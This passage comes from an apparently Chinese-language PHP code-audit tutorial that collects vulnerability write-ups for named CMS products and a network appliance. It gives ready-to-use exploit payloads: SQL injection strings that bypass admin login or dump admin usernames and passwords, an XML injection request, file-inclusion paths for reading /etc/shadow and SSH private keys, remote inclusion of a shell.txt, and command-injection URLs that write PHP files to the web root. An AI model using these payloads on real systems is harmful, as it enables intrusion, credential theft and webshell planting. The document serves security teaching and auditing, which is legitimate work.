$postcaptcha = isset($_POST['postcaptcha']) ? $_POST['postcaptcha'] :
'';
$remember = isset($_POST['rememberme']) ?
intval($_POST['rememberme']) : 0;
if($admin_name == '')
{
header("Location:?act=login&err=".urlencode('用户名不能为空'));
exit();
}
elseif($admin_pwd == '')
{
header("Location:?act=login&err=".urlencode('密码不能为空'));
exit();
}
$captcha=get_cache('captcha');
if(empty($postcaptcha) && $captcha['verify_adminlogin']=='1')
{
header("Location:?act=login&err=".urlencode('验证码不能为空
'));
exit();
}
if ($captcha['verify_adminlogin']=='1' &&
strcasecmp($_SESSION['imageCaptcha_content'],$postcaptcha)!=0)
{
write_log("验证码填写错误",$admin_name,2);
header("Location:?act=login&err=".urlencode('验证码填写错误
'));
exit();
}
elseif(check_admin($admin_name,$admin_pwd)) //关键函数
直接带
入进去了
{
- 41 -
update_admin_info($admin_name);
write_log("成功登录",$admin_name);
if($remember == 1)
{
$admininfo=get_admin_one($admin_name);
setcookie('Qishi[admin_id]', $_SESSION['admin_id'],
time()+86400, $QS_cookiepath, $QS_cookiedomain);
setcookie('Qishi[admin_name]', $admin_name,
time()+86400, $QS_cookiepath, $QS_cookiedomain);
setcookie('Qishi[admin_pwd]',
md5($admin_name.$admininfo['pwd'].$admininfo['pwd_hash'].$QS_pwdhash),
time()+86400, $QS_cookiepath, $QS_cookiedomain);
}
}
else
{
write_log("用户名或密码错误",$admin_name,2);
header("Location:?act=login&err=".urlencode('用户名或密码错
误'));
exit();
}
header("Location: admin_index.php");
}
$admin_name 经过了 check_admin 函数处理。
继续追下 check_admin 函数:
\admin\include\admin_common.fun.php (197 行)
function check_admin($name,$pwd)
{
global $db,$QS_pwdhash;
$admin=get_admin_one($name); //先把程序 name 带入了这个函数进行了
一次查询
- 42 -
$md5_pwd=md5($pwd.$admin['pwd_hash'].$QS_pwdhash);
$row = $db->getone("SELECT COUNT(*) AS num FROM
".table('admin')." WHERE admin_name='$name' and pwd ='".$md5_pwd."' ");
//继续查询
if($row['num'] > 0){
return true;
}else{
return false;
}
}
再看看 get_admin_one 函数:
\admin\include\admin_common.fun.php (237 行)
function get_admin_one($username){
global $db;
$sql = "select * from ".table('admin')." where admin_name =
'".$username."' LIMIT 1"; //同样直接查询了
return $db->getone($sql);
}
get_admin_one 函数和 check_admin 函数都是直接就带入查询了
除了 POST 开头被 addslashes 函数过滤过一次 但是在宽字符面前这些都
是浮云~~
- 43 -
直接向 admin_login.php?act=do_login 构造以下 POST 语句就能
直接进后台了~~ 当然前提你得有后台路径
admin_name=fuckyou%d5' or 1=1%23&admin_pwd=1
iSiteCMS 几处注射漏洞
作者：lxj616
File:/isite/components/messages/messages.fe.php line:103
if($form->status == TFORM_STATUS_GETED_VALID){
//这个是站内短信的写信息表单的处理
$arr = $form->getValues();
- 44 -
//直接获取表单中信息
$tos = explode(',',trim($arr['to']));
//只是分割，不是过滤
$noExistsMenber = array();
$toMenbers = array();
foreach ($tos as $menber){
$i =$this->DBE->getOne("select `id` from #__user where
`name`='$menber'");
//一直到上面这一句都没有过滤，直接带入数据库查询了，之所以会这么写可能
的原因是开发人员误以为`name`='$menber'的引号可以起到保护作用（其他的 int
变量都通过了 inval，而这个是 string 可以输入单引号）
if(is_null($i) or empty($i)){
$noExistsMenber[] = $menber;
//id 只要有返回就可以继续
}else{
$m['name'] = $menber;
$m['id']
= $i;
$toMenbers[] = $m;
}
}
if(!empty($noExistsMenber)){
addGlobalNotice("以下用户不存在：".implode(',',$noExistsMenber));
}else{
$msg['tos'] = $arr['to'];
$msg['subject'] = $arr['subject'];
$msg['content'] = $arr['content'];
//进入信息发送的模块了，实际上之前就已经引发注射了，但是攻击时需要读
sendMessage 代码
$mMessage->sendMessage($toMenbers,$msg);
$this->flash('成功','发送成功',bu(1,'messages','inbox'));
}
这个就是代码里的表单显示
- 45 -
上面同理：
/isite/components/links/links.be.php line:64
if($form->status == TFORM_STATUS_GETED_VALID){
$newCat = $form->getValues();
if($id==0){
//create category
//check name
$name = $newCat['name'];
$nameUsed =
$this->DBE->getOne("select count(*) from #__link_category where
`name`='$name'");
if($nameUsed){
$form->status =
TFORM_STATUS_GETED;
下面是对于攻击方式的分析
注射肯定是有了，但是这里有一点点别扭的地方，就是
$tos = explode(',',trim($arr['to']));
- 46 -
这句话把逗号给干掉了，给注射添加了小小难度
继续分析代码：
File:/isite/components/messages/models/message.php 整个 php
function sendMessage($to,$message,$type=null,$newCall=1){
//刚才检测完用户是否存在后，调用这个函数
if(isset($to['name']) or is_string($to)){
if(is_string($to)){
$to['name'] = $to;
}
if(!isset($to['id'])){
//还记得 id 吗，是之前被注射 SQL 的返回，理论上正常应该是目标用户的 id
$to['id'] = $this->_db->getOne("select `id` from #__user where
`name`='$to[name]'");
}
//又 SELECT 一遍，不过 name 还是注射时的 name，这一句也被注射了
global $gUser;
$message['to'] = $to['name'];
$message['to_id'] = $to['id'];
$message['from'] = $gUser->name;
$message['from_id'] = $gUser->id;
$message['create_time'] = TIME_STAMP;
$message['type'] = $type;
$this->insert($message);
//看到下一句，终于长舒一口气，注射可以有回显了！to_id 就是我们的语句执行
结果，而它会报错给我们看的！
$this->_db->execute("update #__user set
`new_msg_count`=`new_msg_count`+1 where `id`=$message[to_id]");
if($newCall>0){
$message['to'] = '';
$message['to_id'] = 0;
$this->insert($message);
$newCall--;
- 47 -
}
}else if(is_array($to)){
foreach ($to as $sto){
$this->sendMessage($sto,$message,null,$newCall);
}
}
}
利用：
注册一下，在会员中心-站内短信-发信息 里那个 link 模块里的注射没
找到表单在什么地方
注射+回显方法 ：
test' and 1=2 union select password from flexi_user where
id=1#
- 48 -
PHPYun XML 实体注入
作者：未知
File：/weixin/model/index.clss.php
Code: 13
class index_controller extends common
{
public $MsgType;
public function index_action()
{
if($_GET["echostr"])
{
$this->valid();
}else{
//if(!$this->checkSignature()){echo "
非法来源地址！";exit();};
$postStr =
$GLOBALS["HTTP_RAW_POST_DATA"];
if (!empty($postStr))
{
- 49 -
$postObj =
simplexml_load_string($postStr, 'SimpleXMLElement',
LIBXML_NOCDATA);
$fromUsername =
$postObj->FromUserName;
$toUsername = $postObj->ToUserName;
$keyword = trim($postObj->Content);
$times = time();
$MsgType = $postObj->MsgType;
$topTpl = "<xml>
<ToUserName><![CDATA[%s]]></ToUserName>
<FromUserName><![CDATA[%s]]></FromUserName>
<CreateTime>%s</CreateTime>
<MsgType><![CDATA[%s]]></MsgType>";
$bottomStr =
"<FuncFlag>0</FuncFlag></xml>";
if($MsgType=='event')
{
$MsgEvent = $postObj->Event;
if ($MsgEvent=='subscribe')
{
$centerStr =
"<Content><![CDATA[欢迎您关注
".iconv('gbk','utf-8',$this->config['sy_webname'])."！\n 1：您可以
直接回复关键字如【销售】、【南京 销售】、【南京 销售 XX 公司】查找您想要
的职位\n 绑定您的账户体验更多精彩功能\n 感谢您的关注！]]></Content>";
$this->MsgType =
'text';
}elseif ($MsgEvent=='CLICK')
- 50 -
{
$EventKey =
$postObj->EventKey;
if($EventKey=='myaccount'){
$centerStr = $this->bindUser($fromUsername);
}elseif($EventKey=='我的消息')
{
$centerStr = $this->myMsg($fromUsername);
}elseif($EventKey=='面试邀请')
{
$centerStr = $this->Audition($fromUsername);
}elseif($EventKey=='简历查看')
{
$centerStr = $this->lookResume($fromUsername);
}elseif($EventKey=='刷新简历')
{
$centerStr = $this->refResume($fromUsername);
}elseif($EventKey=='推荐职位')
{
$centerStr = $this->recJob();
}elseif($EventKey=='职位搜索'){
- 51 -
$centerStr = "<Content><![CDATA[直接回复城市、职位、公司名
称等关键字搜索您需要的职位信息。\n 如：【经理】、【南京 经理】、【南京 xx
公司】]]></Content>";
$this->MsgType = 'text';
}
}
}elseif($MsgType=='text'){
if($keyword){
$centerStr =
$this->searchJob($keyword);
}
}
$topStr = sprintf($topTpl,
$fromUsername, $toUsername, $times, $this->MsgType);
echo $topStr.$centerStr.$bottomStr;
}
}
}
- 52 -
先来慢慢分析一下定义一个属性$MsgType,后面判断 echostr 是
否通过 GET 方式提交，如果是则调用 valid()方法
这里先不往下读，先跟进 valid()方法是做什么的：
Code:482
private function valid()
{
$echoStr = $_GET["echostr"];
if($this->checkSignature()){
echo $echoStr;
exit;
}
}
private function checkSignature()
{
- 53 -
$signature = $_GET["signature"];
$timestamp = $_GET["timestamp"];
$nonce = $_GET["nonce"];
$token = $this->config['wx_token'];
$tmpArr = array($token, $timestamp,
$nonce);
sort($tmpArr, SORT_STRING);
$tmpStr = implode( $tmpArr );
$tmpStr = sha1( $tmpStr );
if( $tmpStr == $signature
&&
$token!=''){
return true;
}else{
return false;
}
}
主要是检查签名，还有$token 是否不为空。 而这里的 wx_token
默认是为空的，所以这里有一项条件不成功，则反回 false。
所以这里就跟进完了，valid()这个方法是用来检查签名的
然后继续往下：
$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
if (!empty($postStr))
{
$postObj =
simplexml_load_string($postStr, 'SimpleXMLElement',
LIBXML_NOCDATA);
$fromUsername =
$postObj->FromUserName;
$toUsername =
$postObj->ToUserName;
- 54 -
$keyword =
trim($postObj->Content);
$times = time();
$MsgType = $postObj->MsgType;
$topTpl = "<xml>
<ToUserName><![CDATA[%s]]></ToUserName>
<FromUserName><![CDATA[%s]]></FromUserName>
<CreateTime>%s</CreateTime>
<MsgType><![CDATA[%s]]></MsgType>";
$bottomStr =
"<FuncFlag>0</FuncFlag></xml>";
$GLOBALS[“HTTP_RAW_POST_DATA”]
所以这里获取的 post 传给了变量,然后进行了判断$postStr 是否
不为空，如果不为空则调用 simplexml_load_string()方法，把 XML
字符串载入对象中。
然后通过对象名赋值给其它变量$fromUsername 等
继续往下读：
- 55 -
if($MsgType=='event')
{
$MsgEvent = $postObj->Event;
if ($MsgEvent=='subscribe')
{
$centerStr =
"<Content><![CDATA[欢迎您关注
".iconv('gbk','utf-8',$this->config['sy_webname'])."！\n
1：您可以直接回复关键字如【销售】、【南京 销售】、【南京 销售
XX 公司】查找您想要的职位\n 绑定您的账户体验更多精彩功能\n 感
谢您的关注！]]></Content>";
$this->MsgType =
'text';
}elseif
($MsgEvent=='CLICK')
{
$EventKey =
$postObj->EventKey;
if($EventKey=='myaccount'){
$centerStr =
$this->bindUser($fromUsername);
}elseif($EventKey=='我的消息')
{
$centerStr =
$this->myMsg($fromUsername);
- 56 -
}elseif($EventKey=='面试邀请')
{
$centerStr =
$this->Audition($fromUsername);
}elseif($EventKey=='简历查看')
{
$centerStr =
$this->lookResume($fromUsername);
}elseif($EventKey=='刷新简历')
{
$centerStr =
$this->refResume($fromUsername);
}elseif($EventKey=='推荐职位')
{
$centerStr =
$this->recJob();
}elseif($EventKey=='职位搜索'){
$centerStr = "<Content><![CDATA[直接回复城市、职
位、公司名称等关键字搜索您需要的职位信息。\n 如：【经理】、【南
京 经理】、【南京 xx 公司】]]></Content>";
$this->MsgType = 'text';
}
}
}elseif($MsgType=='text'){
if($keyword){
$centerStr =
$this->searchJob($keyword);
}
}
$topStr = sprintf($topTpl,
$fromUsername, $toUsername, $times, $this->MsgType);
- 57 -
echo
$topStr.$centerStr.$bottomStr;
}
}
}
这里先判断类型，如果点击，$MsgEvent==’CLICK’ 则会调
用 bindUser（）方法。
原本这段代码判断是否 我的帐号信息，但在环境搭建后可能是编码原
因，一直复现不成功，所以这里我改成了 myaccount 所以才会去执行
bindUser()方法
if($EventKey=='myaccount'){
$centerStr =
$this->bindUser($fromUsername);
这里调用了这个 bindUser()方法，所以这里跟进一下这个方法是做什
么的。
Code:286
private function bindUser($wxid='')
{
$bindType = $this->isBind($wxid);
$this->MsgType = 'text';
return $bindType['cenetrTpl'];
}
将$wxid 这个参数又传给了 isBind()方法进行处理。
继续跟进 isBind()方法：
Code:295
private function isBind($wxid='')
{
if($wxid)
- 58 -
{
$User =
$this->obj->DB_select_once("member","`wxid`='".$wxid."'
","`uid`,`username`");
}
if($User['uid']>0)
{
$User['bindtype'] = '1';
$User['cenetrTpl'] =
"<Content><![CDATA[您的
".iconv('gbk','utf-8',$this->config['sy_webname'])."帐
号：".$User['username']."已成功绑定！ \n\n\n 您也可以<a
href=\"".$this->config['sy_weburl']."/wap/index.php?m=l
ogin&wxid=".$wxid."\">点击这里</a>进行解绑或绑定其他帐
号]]></Content>";
}else{
$Token = $this->getToken();
$Url =
'https://api.weixin.qq.com/cgi-bin/user/info?access_tok
en='.$Token.'&openid='.$wxid.'&lang=zh_CN';
$CurlReturn
=
$this->CurlPost($Url);
$UserInfo
=
json_decode($CurlReturn);
$wxid
= $wxid;
$wxname
=
$UserInfo->nickname;
$this->config['token_time'] =
time();
$User['cenetrTpl'] =
'<Content><![CDATA[您还没有绑定帐号，<a
href="'.$this->config['sy_weburl'].'/wap/index.php?m=lo
gin&wxid='.$wxid.'">点击这里</a>进行绑定!]]></Content>';
}
- 59 -
return $User;
}
这里传过来的$wxid 直接进入到了 DB_select_once 方法中。 这里继
续跟进 DB_select_once 是否有进行过滤等。如果没有过滤则存在 sql
注入
File:/Module/class/action.class.php
Code:53
function DB_select_once($tablename, $where = 1, $select =
"*") {
$cachename=$tablename.$where;
if(!$return=$this->Memcache_set($cachename)){
$SQL = "SELECT $select FROM " .
$this->def . $tablename . " WHERE $where limit 1";
$query = $this->db->query($SQL);
$return=$this->db->fetch_array($query);
$this->Memcache_set($cachename,$return);
}
return $return;
所以没有过滤产生了注入工攻击
漏洞利用方法：
- 60 -
http://192.168.0.108/phpyun3/weixin/index.php?m=index&c=inde
x
POST:
<?xml version="1.0" encoding="utf-8"?>
<xml>
<ToUserName>1111</ToUserName>
<FromUserName>1111' and 1=2 union select 1,(select
concat(username,password) from phpyun_admin_user limit
0,1)#</FromUserName>
<CreateTime>1402550611</CreateTime>
<MsgType>event</MsgType>
<Event>CLICK</Event>
<EventKey>myaccount</EventKey>
<FuncFlag>0</FuncFlag>
</xml>
这里提交将会被拦
- 61 -
通过 tamper Data 来突破
添加一个：Content-Type:text/xml;
- 62 -
提交，查看源代码查看密码：
- 63 -
cmseasy 无限制报错注入
作者：loopx9
File:xajax.class.php
if ($rootTag == "xjxquery") {
$sQuery = "";
$this->iPos++;
while (!stristr($this->aObjArray[$this->iPos], "")) {
if (stristr($this->aObjArray[$this->iPos], "") ||
stristr($this->aObjArray[$this->iPos], "")) {
$this->iPos++;
continue;
}
$sQuery .= $this->aObjArray[$this->iPos];
$this->iPos++;
}
parse_str($sQuery, $aArray);
if ($this->bDecodeUTF8Input) {
foreach ($aArray as $key => $value) {
$aArray[$key] = $this->_decodeUTF8Data($value);
}
}
if (get_magic_quotes_gpc() == 1) {
$newArray = array();
- 64 -
foreach ($aArray as $sKey => $sValue) {
if (is_string($sValue))
$newArray[$sKey] = stripslashes($sValue);
else
$newArray[$sKey] = $sValue;
}
$aArray = $newArray;
}
}
return $aArray;
}
问题发生在哪里了：
parse_str($sQuery, $aArray);
这个函数，本身会对 url 编码进行一次 decode 的
测试一下
<?php
echo $_GET['b'];
echo "<br>";
parse_str($_GET['b']);
echo $a;
?>
- 65 -
第二处逻辑
如果 gpc 开启的话，它会进行一次 stripslashes
if (get_magic_quotes_gpc() == 1) {
$newArray = array();
foreach ($aArray as $sKey => $sValue) {
if (is_string($sValue))
$newArray[$sKey] =
stripslashes($sValue);
以往的 注册函数有两个前台可以利用：
Postdata 和 LiveMessage
看看 LiveMessage：
function LiveMessage($a) {
global $db;
$sessionid = $_SESSION['sessionid'];
$name = addslashes(htmlspecialchars($a['name']));
$email =
addslashes(htmlspecialchars($a['email']));
$country =
addslashes(htmlspecialchars($a['country']));
$phone =
addslashes(htmlspecialchars($a['phone']));
$departmentid =
addslashes(htmlspecialchars($a['departmentid']));
$message =
addslashes(htmlspecialchars($a['message']));
所有的参数都被 addslashes
我们在看看：
Postdata
- 66 -
function Postdata($a) {
global $db;
$chatid = $_SESSION['chatid'];
$name = $_SESSION['name'];
$a['detail'] = htmlspecialchars($a['detail']);
if (!get_magic_quotes_gpc()) {
$a['detail'] = addslashes($a['detail']);
}
如果 gpc 开启的话，就不进行 addslashes 好的 直接 exp
发送 url:
http://localhost/Cmseasy/celive/live/header.php
postdata:
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx
%2527%252C%2528UpdateXML%25281%252CCONCAT%252
80x5b%252Cmid%2528%2528SELECT%252f%252a%252a%
252fGROUP_CONCAT%2528concat%2528username%252C%2
527%257C%2527%252Cpassword%2529%2529%2520from%
2520cmseasy_user%2529%252C1%252C32%2529%252C0x5
d%2529%252C1%2529%2529%252CNULL%252CNULL%252
CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</
q></xjxquery>
练习题：
1.注入有几种类型？
2.是否所有数据库都受到 SQL 注入？
- 67 -
实践：通过 sqli-labs 练习一下
https://github.com/Audi-1/sqli-labs
文件包含
文件包含漏洞即当程序员在包含文件的过程中引入了外部提交的
数据参与包含的过程所产生的漏洞，这个漏洞是目前 Web 攻击中最利
- 68 -
用率最高的一个漏洞，攻击者 可以轻松获取服务器的访问权限（即拿
到 webshell）。而文件包含通常又有本地文件包含
（Local File Inclusion）和远程文件包含(Remote File Inclusion)
之分。allow_url_fopen 和 allow_url_include 是决定包含属于本地文
件包含（LFI）还是远程文件包含 （RFI）的条件，在 PHP4 中则只有
一个 allow_url_fopen 选择。其中 allow_url_fopen
和 allow_url_include 为 0n 的情况为远程文件包含漏洞，相反为本地
文件包含漏洞。
什么才是“远程文件包含漏洞”？
服务器通过 php 的特性（函数）去包含任意文件时，由于要包含
的这个文件来源过滤不严，从而可以去包含一个恶意文件，而我们可
以构造这个恶意文件来达到邪恶的目的。
涉及到的危险函数：
include（）
require（）
include_once（）
require_once（）
Include：包含并运行指定文件，当包含外部文件发生错误时，系
统给出警告，但整个 php 文件继续执行。
Require：跟 include 唯一不同的是，当产生错误时候，include
下面继续运行而 require 停止运行了。
Include_once：这个函数跟 include 函数作用几乎相同，只是他
在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么
就不重复执行了。
- 69 -
Require_once：这个函数跟 require 的区别 跟上面我所讲的
include 和 include_once 是一样的。所以我就不重复了。
phpcms2008 本地文件包括及利用
作者：Jannock
文件 wap/index.php
include '../include/common.inc.php';
include './include/global.func.php';
$lang = include './include/lang.inc.php';
if(preg_match('/(mozilla|m3gate|winwap|openwave)/i',
$_SERVER['HTTP_USER_AGENT']))
{
header('location:../');
}
wmlHeader($PHPCMS['sitename']);
$action = isset($action) && !empty($action) ? $action : 'index';
if($action)
{
include './include/'.$action.'.inc.php';
}
$html = CHARSET != 'utf-8' ? iconv(CHARSET, 'utf-8', $html) :
$html;
- 70 -
echo str_replace('', "\n", $html);
wmlFooter();
?>
action 变量没有判断，造成本地文件包含漏洞。
利用（其中之一）：
包含目录 include\fields\areaid 下任一文件，即可执行任意 SQL 脚本。
如：field_add.inc.php
if(!$maxlength) $maxlength = 255;
$maxlength = min($maxlength, 255);
$sql = "ALTER TABLE `$tablename` ADD `$field`
VARCHAR( $maxlength ) NOT NULL DEFAULT '$defaultvalue'";
$db->query($sql);
?>
tablename 等变量可以直接传入。 当然，这个访问需要用 Opera 等浏
览器访问。
用 Opera 浏览器访问
http://www.phpcms.cn/wap/index.php?action=../../include/fields/a
reaid/field_add&tablename=xx
simple-log 后台任意文件读写漏洞
作者：风眼哥
在/admin/includes/set_page.php 中：
产生读任意文件的地方：
elseif ($action=='get_page_data')
{
require(PBBLOG_ROOT . '/includes/json.class.php');
$json
= new JSON;
$file=$_POST['template_file'];
$res=array('type'=>'get_page_data','content'=>'','error'=>'no');
- 71 -
$data=file_get_contents(PBBLOG_ROOT.'/themes/'.$config['template_
name'].'/'.$file);
$res['content']=$data;
die($json->encode($res));
}
$_POST['template_file']被传给了$file 然后直接字符串拼接进入
file_get_contents 中导致读任意文件漏洞的产生
产生写任意文件的地方：
elseif ($action=='act_set_page')
{
$data=htmlspecialchars_decode(stripslashes($_POST['data']));
$file=$_POST['template_file'];
$fp=@fopen(PBBLOG_ROOT.'/themes/'.$config['template_name'].'/'.
$file,"w") or die('can not open file');
flock($fp,LOCK_EX);
fwrite($fp,$data);
fclose($fp);
clear_tpl();
sys_message('页面修改成功','admin.php?act=set_footer&file='.$file);
}
同理也是
$_POST['template_file']被传给了$file 然后直接字符串拼接进入
file_get_contents 中导致写任意文件漏洞的产生
读 index.php 文件
POST /simple-log/admin/admin.php?act=get_page_data HTTP/1.1
Host: xxx
User-Agent: xxx
- 72 -
Accept: application/json, text/javascript, */*
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://xxx/simple-log/admin/admin.php?act=set_footer&file=blog.html
Content-Length: 23
Cookie: xxx
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
template_file=../index.php
易酷 cms 本地包含导致 getwebshell
作者：Bhunter
漏洞文件：core\Lib\Action\Home\MyAction.class.php
class MyAction extends HomeAction{
public function index(){
$this->show();
}
public function show(){
$id = !empty($_GET['id'])?$_GET['id']:'hot';
$this->display('my_'.trim($id));漏洞点
}
}
?>
public function
fetch($templateFile='',$charset='',$contentType='text/html',$display=false)
{
- 73 -
$GLOBALS['_viewStartTime'] = microtime(TRUE);
if(null===$templateFile)
// 使用 null 参数作为模版名直接返回不做任何输出
return ;
if(empty($charset))
$charset = C('DEFAULT_CHARSET');
// 网页字符编码
header("Content-Type:".$contentType."; charset=".$charset);
header("Cache-control: private");
//支持页面回跳
//页面缓存
ob_start();
ob_implicit_flush(0);
if(!file_exists_case($templateFile))
// 自动定位模板文件
$templateFile
= $this->parseTemplateFile($templateFile);//关键
函数，只有此处对包含模板做了文件处理，我看看下这个函数。
$engine
= strtolower(C('TMPL_ENGINE_TYPE'));
if('php'==$engine) {
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入 PHP 模板
include $templateFile;
}elseif('think'==$engine && $this->checkCache($templateFile)) {
// 如果是 Think 模板引擎并且缓存有效 分解变量并载入模板缓存
extract($this->tVar, EXTR_OVERWRITE);
//载入模版缓存文件
include
C('CACHE_PATH').md5($templateFile).C('TMPL_CACHFILE_SUFFIX');
}else{
// 模板文件需要重新编译 支持第三方模板引擎
// 调用模板引擎解析和输出
$className
= 'Template'.ucwords($engine);
- 74 -
require_cache(THINK_PATH.'/Lib/Think/Util/Template/'.$className.'.class.php');
$tpl
=
new $className;
$tpl->fetch($templateFile,$this->tVar,$charset);
}
$this->templateFile
=
$templateFile;
// 获取并清空缓存
$content = ob_get_clean();
// 模板内容替换
$content = $this->templateContentReplace($content);
// 布局模板解析
$content = $this->layout($content,$charset,$contentType);
// 输出模板文件
return $this->output($content,$display);
}
对包含文件处理：
private function parseTemplateFile($templateFile) {
if(''==$templateFile) {
// 如果模板文件名为空 按照默认规则定位
$templateFile = C('TMPL_FILE_NAME');
}elseif(strpos($templateFile,'@')){
// 引入其它主题的操作模板 必须带上模块名称 例如
blue@User:add
$templateFile
=
TMPL_PATH.str_replace(array('@',':'),'/',$templateFile).C('TMPL_TEMPLATE_S
UFFIX');
}elseif(strpos($templateFile,':')){
// 引入其它模块的操作模板
$templateFile
=
TEMPLATE_PATH.'/'.str_replace(':','/',$templateFile).C('TMPL_TEMPLATE_SUF
FIX');
}elseif(!is_file($templateFile))
{
// 引入当前模块的其它操作模板
- 75 -
$templateFile =
dirname(C('TMPL_FILE_NAME')).'/'.$templateFile.C('TMPL_TEMPLATE_SUFFIX
');
}
if(!file_exists_case($templateFile))
throw_exception(L('_TEMPLATE_NOT_EXIST_').'['.$templateFile.']');
return $templateFile;
}
有了包含点，我们需要一个含有我们恶意代码的文件，我们利用 thinphp
的错误日志记录功能：
制造错误：
- 76 -
引用 wooyun 文章
PHP 文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时，
由于传入的文件名没有经过合理的校验，从而操作了预想之外的文件，
就可能导致意外的文件泄露甚至恶意的代码注入。最常见的就属于本
地文件包含（Local File Inclusion）漏洞了。
我们来看下面一段 index.php 代码:
if ( $_GET [ 'func' ]) {
include $_GET [ 'func' ];
- 77 -
} else {
include 'default.php' ;
}
程序的本意可能是当提交 url 为
http://example.com/index.php?func=add.php 时，调用 add.php
里面的样式内容和功能。直接访问 http://example.com/index.php
则会包含默认的 default.php
那么问题来了，如果我们提交
http://example.com/index.php?func=upload/pic/evil.jpg ，且
evil.jpg 是由黑客上传到服务器上的一个图片，在图片的末尾添加了恶
意的 php 代码，那么恶意的代码就会被引入当前文件执行。
如果被包含的文件中无有效的 php 代码，则会直接把文件内容输出。
在接下来的内容中会以代码样本作为例子，来给大家介绍各种奇葩猥
琐的利用姿势
普通本地文件包含
include("inc/". $_GET['file']); ?>
包含同目录下的文件：
?file=.htaccess
目录遍历：
?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../v
ar/lib/mlocate/mlocate.db
（linux 中这两个文件储存着所有文件的路径，需要 root 权限）
包含错误日志：
?file=../../../../../../../../../var/log/apache/error.log
- 78 -
（试试把 UA 设置为“”来使 payload 进入日志）
获取 web 目录或者其他配置文件：
?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf
（更多→http://wiki.apache.org/httpd/DistrosDefaultLayout）
包含上传的附件：
?file=../attachment/media/xxx.file
读取 session 文件：
?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
（session 文件一般在/tmp 目录下，格式为 sess_[your phpsessid
value]，有时候也有可能在/var/lib/php5 之类的，在此之前建议先读
取配置文件。在某些特定的情况下如果你能够控制 session 的值，也
许你能够获得一个 shell）
如果拥有 root 权限还可以试试读这些东西：
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (文件标识符)
/proc/mounts
/proc/config.gz
如果有 phpinfo 可以包含临时文件：
参见
- 79 -
http://hi.baidu.com/mmnwzsdvpkjovwr/item/3f7ceb39965145e
ea984284el
有限制的本地文件包含
include("inc/". $_GET['file'] . ".htm"); ?>
%00 截断：
?file=../../../../../../../../../etc/passwd%00
(需要 magic_quotes_gpc=off，PHP 小于 5.3.4 有效)
%00 截断目录遍历：
?file=../../../../../../../../../var/www/%00
(需要 magic_quotes_gpc=off，unix 文件系统，比如 FreeBSD，
OpenBSD，NetBSD，Solaris)
路径长度截断：
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
(php 版本小于 5.2.8(?)可以成功，linux 需要文件名长于 4096，
windows 需要长于 256
点号截断：
?file=../../../../../../../../../boot.ini/………[…]…………
(php 版本小于 5.2.8(?)可以成功，只适用 windows，点号需要长于
256)
普通远程文件包含
include($_GET['file']); ?>
- 80 -
远程代码执行：
?file=[http|https|ftp]://example.com/shell.txt
(需要 allow_url_fopen=On 并且 allow_url_include=On)
利用 php 流 input：
?file=php://input
(需要 allow_url_include=On，详细→
http://php.net/manual/en/wrappers.php.php)
利用 php 流 filter：
?file=php://filter/convert.base64-encode/resource=index.php
(同上)
利用 data URIs：
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要 allow_url_include=On)
利用 XSS 执行任意代码：
?file=http://127.0.0.1/path/xss.php?xss=phpcode
(需要 allow_url_fopen=On，allow_url_include=On 并且防火墙或者
白名单不允许访问外网时，先在同站点找一个 XSS 漏洞，包含这个页
面，就可以注入恶意代码了。条件非常极端和特殊- -)
有限制的远程文件包含
include($_GET['file'] . ".htm"); ?>
?file=http://example.com/shell
?file=http://example.com/shell.txt?
?file=http://example.com/shell.txt%23
(需要 allow_url_fopen=On 并且 allow_url_include=On)
?file=\evilshare\shell.php (只需要 allow_url_include=On)
- 81 -
远程命令执行
惠尔顿上网行为管理系统命令执行
作者：xfkxfk
文件/base/stats/realtime/user_prohibit_internet.php
<?php
$ip = $_REQUEST['ip'];
$duration = $_REQUEST['duration'];
if($duration=="" || $duration==0){
$str = "ipset -A drop_user ".$ip;
}else{
$duration = $duration*60;
$str = "ipset -A drop_user
".$ip.",".$duration;
}
- 82 -
exec($str);
$name = "禁止上网用户:".$ip;
writeSysLog($name);
?>
$ip = $_REQUEST['ip'];
$str = "ipset -A drop_user ".$ip;
exec($str);
直接执行命令
第二处命令执行：
文件/base//stats/realtime/underLineUser.php
<?php
exec("ipset -nL drop_user", $drop_user);
$identifier =
htmlobject_request('identifier');
if($identifier == '') {
$identifier = array();
}
switch (htmlobject_request('action')) {
case '允许上网':
for($i = 0;
$i<count($identifier); $i++){
exec("ipset -D
drop_user ".$identifier[$i]);
$name = "禁止上网用户列表
中 允许上网的 IP:".$identifier[$i];
writeSysLog($name);
}
- 83 -
print("<script>window.location.href='underLin
eUser.php';</script>");
break;
}
看代码里面：$identifier = htmlobject_request('identifier');
然后$identifier 进入 exec 里面了
跟进 htmlobject_request 函数：
function htmlobject_request($arg)
{
if (isset($_REQUEST[$arg]))
return $_REQUEST[$arg];
else
return '';
}
不懂那这个函数来干啥用的
还是参数$identifier 的值直接进入 exec，一样暴力的命令执行。
EXP：
https://**.**.**.**/base/stats/realtime/underLineUse
r.php?action=允许上网&identifier[]=123;echo '<?php
- 84 -
phpinfo();?>'>/usr/local/WholetonTM/htdocs/111111.ph
p
文件/base/tpl/delectSSLL.php
<?php
$ssl_dir =
"/usr/local/WholetonTM/triton/conf/URL/ssl/";
$id =$_REQUEST['id'];
exec ("rm ".$ssl_dir.$id);
ECHO "rm ".$ssl_dir.$id;
?>
这里 id 可控，直接进入 exec 执行
https://**.**.**.**/base/tpl/delectSSLL.php?id=;echo
'333333'>/usr/local/WholetonTM/htdocs/333333.php
